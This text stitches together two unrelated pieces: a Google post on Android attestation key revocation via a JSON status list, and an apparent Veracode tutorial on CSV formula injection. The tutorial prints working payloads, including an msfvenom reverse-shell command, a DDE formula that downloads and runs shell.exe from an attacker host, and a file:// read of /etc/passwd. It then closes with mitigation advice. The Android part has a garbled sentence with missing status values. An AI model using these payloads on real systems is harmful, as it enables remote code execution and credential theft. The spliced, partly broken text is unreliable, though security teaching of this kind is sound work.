[Cross-posted from the Android Developers Blog]
Billions of people rely on their Android-powered devices to securely store their sensitive information. A vital component of the Android security stack is the key attestation system. Android devices since Android 7.0 are able to generate an attestation certificate that attests to the security properties of the device’s hardware and software. OEMs producing devices with Android 8.0 or higher must install a batch attestation key provided by Google on each device at the time of manufacturing.
These keys might need to be revoked for a number of reasons including accidental disclosure, mishandling, or suspected extraction by an attacker. When this occurs, the affected keys must be immediately revoked to protect users. The security of any Public-Key Infrastructure system depends on the robustness of the key revocation process.
All of the attestation keys issued so far include an extension that embeds a certificate revocation list (CRL) URL in the certificate. We found that the CRL (and online certificate status protocol) system was not flexible enough for our needs. So we set out to replace the revocation system for Android attestation keys with something that is flexible and simple to maintain and use.
Our solution is a single TLS-secured URL (https://android.googleapis.com/attestation/status) that returns a list containing all revoked Android attestation keys. This list is encoded in JSON and follows a strict format defined by JSON schema. Only keys that have non-valid status appear in the list, so it is not an exhaustive list of all issued keys.
This system allows us to express more nuance about the status of a key and the reason for the status. A key can have a status of
SUSPENDED, where revoked is permanent and suspended is temporary. The reason for the status is described as either
SOFTWARE_FLAW.A complete, up-to-date list of statuses and reasons can be found in the developer documentation.
The CRL URLs embedded in existing batch certificates will continue to operate. Going forward, attestation batch certificates will no longer contain a CRL extension. The status of these legacy certificates will also be included in the attestation status list, so developers can safely switch to using the attestation status list for both current and legacy certificates. An example of how to correctly verify Android attestation keys is included in the Key Attestation sample.
As web applications get more complex and more data driven, the ability to extract data from a web application is becoming more common. I work as a principal penetration tester on Veracode’s MPT team, and the majority of web applications that we test nowadays have the ability to extract data in a CSV format. The most common software installed in corporate environments is Microsoft Excel, and this software has the ability to open CSV files (in most cases, this is the default). It should be noted that this type of attack would also affect LibreOffice as it would also interpret the payload as formula.
In order to perform a basic attack, a number of requirements are needed. An attacker needs the ability to inject a payload into the tables within the application. The application needs to allow a victim to download this data into CSV format that can then be opened in Excel. This would cause the payload to be interpreted as an Excel formula and run.
1. Search the application to find a location where any data input can be extracted.
2. Inject Payload =HYPERLINK(“http://www.veracode.com “, “Click for Report”)
3. Confirm the application is vulnerable to this type of attack. Extract the data and confirm the payload has been injected by opening the CSV file in Microsoft Excel.
4. You can then see a “Click for Report link” in the Excel File. This indicates the payload has been injected correctly.
In this scenario, when the victim clicks on the link, it will take them to the Veracode website. This type of attack might not seem too serious, but consider the following:
Instead of redirecting an end user to the Veracode website, we could redirect the end user to a server we controlled, which contained a clone of the website. We could then ask the victim to authenticate to our clone website, allowing us as the attacker to steal his or her credentials. We could then use these credentials on the original website and have access to all his or her personal information or any functionality the account has access to. There are also a number of other attacks possible with this type of formula injection, including exfiltrating sensitive data, obtaining remote code execution, or even reading the contents of certain files under the right circumstances. We can look at one of these types of attacks below.
Advance Attack – Remote Command Execution
A more advanced attack would use the same method as above but with a different payload, which would lead to remote code execution. This type of attack does depend on a number of factors and might not always be possible. However, it’s still worth considering and also highlights how serious this vulnerability can be under the right circumstances.
Attack in Steps
1. We’ll use a shell.exe file, which can contain whatever we want to execute on the system but, in this scenario, we will use msfvenom to create a reverse Meterpreter payload.
msfvenom -p windows/meterpreter/reverse_tcp -a x64 --platform Windows LHOST=<IP Address> LPORT=1234 -f exe > shell.exe
2. We also need to set up a listener that will wait for the connect back to us once the shell.exe payload has been executed on the victim’s machine. We will use Metasploit multi/handler for this example. We need to set the LPORT and also make sure the IP address is correct.
3. We also need to host the shell.exe payload so it can be downloaded. For this, I used the following command, python -m SimpleHTTPServer 1337, which will set up a simple web server in the current directory on my system. A real attack might host this on a compromised web server.
4. Once all this has been set up, we could then inject the payload into the application and wait for a victim to download the CSV file and click on the cell with the payload in it.
=cmd|' /C powershell Invoke-WebRequest "http://evilserver:1337/shell.exe"
-OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Breakdown of Payload
- The first line is calling cmd, which gets passed to the PowerShell Invoke-WebRequest to download a shell.exe file from our evilserver on port 1337. Note that if the host is running PowerShell version 2, the Invoke-WebRequest won’t work.
- The next line is saving the shell.exe file into the temp directory. The reason we use the temp directory is because it’s a folder anyone can write to.
- We then start a process to execute the downloaded shell.exe payload.
5. Once the victim opens the file, the CSV injection payload would run. However, it may present a “Remote Data Not Accessible” warning. The chances are that most victims would think the file has come from a legitimate source and so they need to select yes to view the data. It should also be noted that in this scenario the Excel file is empty apart from our payload. In a real-world attack, the Excel file would be populated with information from the application.
6. Once the victim selects yes, within a few moments, Metasploit will get a reverse connect from the victim’s host.
7. At this point, the attacker can perform a number of tasks depending on the level of access he or she has obtained. This includes, but is not limited to, stealing passwords in memory, attacking other systems in the network (if this host is connected to a network), taking over uses’ webcams, etc. In fact, under the right circumstances, it would be possible to compromise an entire domain using this attack.
When testing for CSV injections, in most instances, a tester will use a simple payload. This is due to a number of reasons. It’s not uncommon for a tester to demonstrate this type of attack by using a Hyperlink payload like the one above, or a simple cmd payload like the following =cmd|’/C cmd.exe ’!’A.
Some might also use the following payload depending on the operating system: ='file://etc/passwd'#$passwd.A1
This would read the first line within the etc/passwd file on a Linux system.
Mitigating the Risk
The best way to mitigate against this type of attack is to make sure all users’ inputs are filtered so only expected characters are allowed. Client-supplied inputs should always be considered unsafe and treated with caution when processing. CSV injection is a side effect of bad input validation, and other types of web attacks are due to weak input validation. To mitigate against CSV injections, a default-deny regular expression or “whitelist” regular expression should be used to filter all data that is submitted to the application. Because Excel and CSV files utilize equals signs (=), plus signs (+), minus signs (-), and “At” symbols (@) to denote formulas, we recommend filtering these out to ensure no cells begin with these characters. Any element that could appear in a report could be a target for Excel / CSV injections and should be further validated for CSV injection.
In summary, CSV injection is not a new attack vector, but it’s one that developers often forget about. As more web applications have the ability to extract data, it’s one that could have serious consequences if steps are not taken to mitigate the risk it poses. In addition, developers should be checking user input for other types of attacks like XSS.